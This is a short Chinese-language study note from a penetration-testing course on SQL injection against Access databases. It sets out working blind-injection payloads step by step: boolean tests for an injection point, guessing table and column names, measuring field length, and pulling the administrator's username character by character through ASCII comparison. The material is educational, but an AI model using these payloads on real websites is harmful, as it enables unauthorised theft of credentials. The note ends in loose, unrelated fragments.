渗透测试第四章SQL注入----
SQL注入定义:
将用户输入的内容,拼接到SQL语句中,一起提交到数据库 产生SQL注入威胁。
$id= $_GET['id']
$id= $_POST['id']
access注入基本流程:
▪1.判断有无注入
▪2.猜解表名
▪3.猜解字段
▪4.猜解管理员ID值
▪5.猜解用户名和密码长度
▪6.猜解用户名和密码
逐字猜解法
▪1、判断有无注入点▪and 1=1 and 1=2
▪2、猜表名(一般的表的名称无非是admin adminuseruser pass password 等) ▪and (Select count(*) from 表名)<>0 ▪and exists (select * from 表名)
▪3、猜列名▪and (Select count(列名) from 表名)<>0 ▪and exists (select 列名from 表名)逐字猜解法
▪4、判断内容长度▪and (select top 1 len(user_name) from admin)=5(user_name的长度=5,正常则=5,也可以用>,<号去判断)
▪5、截取字符串并转换为ascii码进行数值比较,判断ascii码值:
▪and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
▪and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位
数据库 默认的数据库
为什么要使用数据库?
静态网页 html 不需要服务器解析脚本 不依赖数据库